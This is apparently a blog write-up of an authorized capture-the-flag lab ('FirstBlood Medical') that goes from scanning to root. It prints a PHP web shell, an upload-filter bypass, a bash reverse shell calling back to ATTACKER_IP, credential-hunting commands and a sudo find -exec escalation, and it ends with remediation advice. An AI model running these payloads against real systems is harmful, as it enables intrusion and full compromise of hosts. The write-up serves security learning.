June 10, 2026
FirstBlood Medical Lab Walkthrough-From Recon to Root
Introduction
Bl00d
7 min read
Introduction
In this lab, the target was FirstBlood Medical, a newly launched patient portal that claimed to be hardened and strictly limited to medical record handling. As always, claims are one thing; verification is another.
The objective was simple: identify weaknesses, bypass security checks, escalate privileges, and gain full control of the system.
This write-up walks through my approach step by step: reconnaissance, directory enumeration, login brute force, file upload bypass, remote command execution, credential discovery, SSH access, and finally privilege escalation to root.
Note:_ This lab was solved in an authorized environment for learning and security research purposes._
Target Information
Target:
http://172.18.198.241/http://172.18.198.241/At first glance, the application showed a simple static website for SecureCorp, advertising web development and security consulting services.
This was interesting because the lab description mentioned a medical portal, but the exposed web page looked like a generic company landing page. That mismatch immediately suggested there might be hidden directories or admin functionality behind the scenes.
1. Reconnaissance with Nmap
I started with a basic Nmap scan to identify open ports and running services.
nmap -sC -sV -oN nmap.txt 172.18.198.241nmap -sC -sV -oN nmap.txt 172.18.198.241The scan revealed two open ports:
22/tcp open ssh
80/tcp open http22/tcp open ssh
80/tcp open httpThis gave us two clear attack surfaces:
Port 80 → Web application
Port 22 → SSH loginPort 80 → Web application
Port 22 → SSH loginSince SSH was open, the immediate question became:
Can we find valid credentials somewhere in the web application and reuse them over SSH?
For now, I moved toward the web application on port 80.
2. Directory Enumeration with Dirsearch
Next, I used dirsearch to discover hidden directories and files.
dirsearch -u http://172.18.198.241/dirsearch -u http://172.18.198.241/The scan returned several interesting paths:
/admin
/admin/
/admin/login.php
/admin/upload.php
/config.php
/uploads/
/cgi-bin/test-cgi
/cgi-bin/printenv/admin
/admin/
/admin/login.php
/admin/upload.php
/config.php
/uploads/
/cgi-bin/test-cgi
/cgi-bin/printenvThe most important findings were:
/admin/login.php
/admin/upload.php
/uploads//admin/login.php
/admin/upload.php
/uploads/The /admin/upload.php endpoint redirected to login.php, which confirmed that the upload functionality was protected behind authentication.
The /uploads/ directory was also accessible, which later became very important.
3. Additional Scanning with Nuclei and Nikto
I also ran automated checks using Nuclei and Nikto to gather more information about the web server and possible misconfigurations.
Example commands:
nuclei -u http://172.18.198.241/
nikto -h http://172.18.198.241/nuclei -u http://172.18.198.241/
nikto -h http://172.18.198.241/These tools helped confirm that the web application had exposed paths and some potentially risky CGI endpoints, but the most interesting attack path was clearly the admin panel and file upload functionality.
At this stage, the attack plan became:
Find admin credentials → access upload page → test upload validation → get RCEFind admin credentials → access upload page → test upload validation → get RCE4. Admin Login Brute Force
The admin login page was available at:
http://172.18.198.241/admin/login.phphttp://172.18.198.241/admin/login.phpI attempted brute forcing the login using Burp Suite/Hydra with a username and password list.
Eventually, valid credentials were found:
Username: <Redacted>
Password: <Redacted>Username: <Redacted>
Password: <Redacted>After logging in, I was redirected to the admin upload panel.
5. Analyzing the File Upload Functionality
The upload page claimed that only the following file types were allowed:
JPG, PNG, GIF, PDF, DOC, TXTJPG, PNG, GIF, PDF, DOC, TXTLooking at the upload page behavior, I noticed that the validation was happening on the client side using JavaScript.
The file extension check looked like this:
const allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'txt'];
const fileName = file.name.toLowerCase();
const fileExtension = fileName.split('.').pop();
if (!allowedExtensions.includes(fileExtension)) {
alert('Invalid file type. Only image and document files are allowed.');
return false;
}const allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'txt'];
const fileName = file.name.toLowerCase();
const fileExtension = fileName.split('.').pop();
if (!allowedExtensions.includes(fileExtension)) {
alert('Invalid file type. Only image and document files are allowed.');
return false;
}This was the first big weakness.
Client-side validation can improve user experience, but it should never be trusted as a security control. Anything that happens in the browser can be modified, bypassed, or removed.
The server should have been validating:
File extension
MIME type
File signature
Upload path
Execution permissions
Dangerous contentFile extension
MIME type
File signature
Upload path
Execution permissions
Dangerous contentBut based on the application behavior, it looked like the backend was trusting the browser.
6. Creating a PHP Web Shell
To test this, I created a simple PHP command shell:
<?php system($_REQUEST['cmd']); ?><?php system($_REQUEST['cmd']); ?>I saved it as:
cmd.php.pngcmd.php.pngThe idea was simple:
- Upload the file with an allowed extension so the browser accepts it.
- Intercept the request in Burp Suite.
- Modify the filename from
cmd.php.pngtocmd.php. - Forward the request to the server.
7. Bypassing Upload Validation with Burp Suite
I selected the file in the upload form and intercepted the request using Burp Suite.
In the multipart request, the filename originally appeared as:
filename="cmd.php.png"filename="cmd.php.png"I modified it to:
filename="cmd.php"filename="cmd.php"Then I forwarded the request.
The server accepted the file and uploaded it successfully.
This confirmed that the upload restrictions were only enforced in the browser and not properly validated on the server side.
8. Triggering the Web Shell
From the earlier directory enumeration, I already knew that /uploads/ was accessible.
So I visited:
http://172.18.198.241/uploads/http://172.18.198.241/uploads/The uploaded shell was visible there.
To test command execution, I used:
http://172.18.198.241/uploads/cmd.php?cmd=idhttp://172.18.198.241/uploads/cmd.php?cmd=idThe response showed that commands were executing as the Apache user:
uid=100(apache) gid=101(apache) groups=82(www-data),101(apache)uid=100(apache) gid=101(apache) groups=82(www-data),101(apache)At this point, I had remote command execution on the server.
9. Getting a Reverse Shell
A web shell is useful, but a reverse shell gives much better control.
On my Kali machine, I started a Netcat listener:
nc -lvnp 4444nc -lvnp 4444Then I triggered a reverse shell from the web shell.
One working payload was:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'URL-encoded:
http://172.18.198.241/uploads/cmd.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%27http://172.18.198.241/uploads/cmd.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/4444%200%3E%261%27After triggering it, I received a shell as apache.
10. Enumerating the System
Once inside, I started basic enumeration.
id
whoami
hostname
pwd
ls -laid
whoami
hostname
pwd
ls -laThe current user was:
apacheapacheI checked local users using:
cat /etc/passwdcat /etc/passwdThe interesting user was:
webdev:x:1000:1000:Linux User,,,:/home/webdev:/bin/bashwebdev:x:1000:1000:Linux User,,,:/home/webdev:/bin/bashThis stood out because it was the only normal user with a real shell.
11. Finding Credentials
Next, I searched the web directory for hardcoded credentials.
find /var/www -type f -name "*.php" -exec grep -iE "password|passwd|db_|mysqli|pdo|root" {} \; 2>/dev/nullfind /var/www -type f -name "*.php" -exec grep -iE "password|passwd|db_|mysqli|pdo|root" {} \; 2>/dev/nullInside the application configuration, I found database credentials and a very interesting password hint:
DB_USER = <Redacted>
DB_PASS = <Redacted>
Password = <Redacted>DB_USER = <Redacted>
DB_PASS = <Redacted>
Password = <Redacted>The MySQL client was not installed on the target, so I could not directly use:
mysql -u dbuser -p'<Redacted>'mysql -u dbuser -p'<Redacted>'But the more important finding was the password:
<Redacted><Redacted>Since SSH was open and we had already identified the local user webdev, the next logical step was password reuse.
12. SSH Access as Webdev
From my Kali machine, I tried logging in over SSH:
ssh webdev@172.18.198.241ssh webdev@172.18.198.241Password:
<Redacted><Redacted>The login was successful.
I confirmed my user context:
ididOutput:
uid=1000(webdev) gid=1000(webdev) groups=1000(webdev)uid=1000(webdev) gid=1000(webdev) groups=1000(webdev)Now I had a proper SSH shell as the webdev user.
13. Privilege Escalation Enumeration
The first thing I checked was sudo permissions:
sudo -lsudo -lThe output was the key to root:
User webdev may run the following commands on firstblood:
(ALL) NOPASSWD: /usr/bin/findUser webdev may run the following commands on firstblood:
(ALL) NOPASSWD: /usr/bin/findThis means the webdev user could run /usr/bin/find as root without a password.
That is dangerous because find supports command execution using -exec.
14. Exploiting Sudo Find to Get Root
I used the following command to spawn a root shell:
sudo /usr/bin/find . -exec /bin/sh \; -quitsudo /usr/bin/find . -exec /bin/sh \; -quitThen I checked my privileges:
ididOutput:
uid=0(root) gid=0(root) groups=0(root)uid=0(root) gid=0(root) groups=0(root)Root achieved.
15. Reading the Root Flag
Finally, I moved to the root directory and listed the files:
cd /root
ls -lacd /root
ls -laThen I read the flag:
cat /root/*cat /root/*
Attack Chain Summary
The full attack chain was:
Nmap scan found SSH and HTTP
↓
Dirsearch found /admin, /admin/login.php, /admin/upload.php, /uploads/
↓
Admin login brute forced
↓
Valid credentials found: <Redacted>
↓
Logged into admin upload panel
↓
Bypassed client-side file validation using Burp Suite
↓
Uploaded PHP web shell
↓
Triggered shell from /uploads/
↓
Got RCE as apache
↓
Found credentials in web files
↓
Reused <Redacted> over SSH as webdev
↓
Checked sudo permissions
↓
webdev could run /usr/bin/find as root without password
↓
Abused find -exec to spawn root shell
↓
Root achievedNmap scan found SSH and HTTP
↓
Dirsearch found /admin, /admin/login.php, /admin/upload.php, /uploads/
↓
Admin login brute forced
↓
Valid credentials found: <Redacted>
↓
Logged into admin upload panel
↓
Bypassed client-side file validation using Burp Suite
↓
Uploaded PHP web shell
↓
Triggered shell from /uploads/
↓
Got RCE as apache
↓
Found credentials in web files
↓
Reused <Redacted> over SSH as webdev
↓
Checked sudo permissions
↓
webdev could run /usr/bin/find as root without password
↓
Abused find -exec to spawn root shell
↓
Root achievedVulnerabilities Identified
1. Weak Admin Credentials
The admin panel used weak credentials:
<Redacted>:<Redacted><Redacted>:<Redacted>This allowed brute force/password guessing to succeed.
2. Client-Side File Upload Validation
The application relied on JavaScript to block dangerous file types.
This is not secure because client-side controls can be bypassed by intercepting and modifying requests.
3. Executable Uploads Directory
The uploaded PHP file was stored in a web-accessible directory and executed by the server.
The server should not execute user-uploaded files.
4. Hardcoded Credentials
Sensitive credentials were stored in application files.
Hardcoded passwords make post-exploitation much easier.
5. Password Reuse
The discovered password was reused for the local webdev user over SSH.
6. Dangerous Sudo Permission
The webdev user had passwordless sudo access to /usr/bin/find.
Since find can execute commands, this allowed privilege escalation to root.
Remediation Recommendations
To secure this application, the following fixes should be implemented:
Use strong, unique admin passwords
Add account lockout/rate limiting on login
Perform file validation on the server side
Rename uploaded files using random names
Store uploads outside the web root
Disable script execution in upload directories
Validate MIME type and file magic bytes
Remove hardcoded credentials from source code
Use environment variables or secret managers
Avoid password reuse between services and system users
Review sudo permissions carefully
Never allow dangerous binaries like find, vim, bash, less, awk, or python through passwordless sudoUse strong, unique admin passwords
Add account lockout/rate limiting on login
Perform file validation on the server side
Rename uploaded files using random names
Store uploads outside the web root
Disable script execution in upload directories
Validate MIME type and file magic bytes
Remove hardcoded credentials from source code
Use environment variables or secret managers
Avoid password reuse between services and system users
Review sudo permissions carefully
Never allow dangerous binaries like find, vim, bash, less, awk, or python through passwordless sudoFor the upload directory, Apache should be configured to prevent PHP execution. For example:
<Directory "/var/www/html/uploads">
php_admin_flag engine off
Options -ExecCGI
RemoveHandler .php .phtml .php5
</Directory><Directory "/var/www/html/uploads">
php_admin_flag engine off
Options -ExecCGI
RemoveHandler .php .phtml .php5
</Directory>Conclusion
This lab was a great example of how small weaknesses can chain together into full system compromise.
Individually, each issue may look simple:
Weak password
Client-side upload check
Hardcoded credential
Password reuse
Misconfigured sudo ruleWeak password
Client-side upload check
Hardcoded credential
Password reuse
Misconfigured sudo ruleBut when combined, they created a complete path from unauthenticated reconnaissance to root access.
The biggest lesson here is:
Security controls must be enforced on the server, credentials must not be reused, and sudo permissions should be treated as high-risk attack surface.
This was a fun lab because it followed a realistic attacker mindset: enumerate carefully, validate assumptions, chain findings together, and keep looking for the next trust boundary.
Rooted.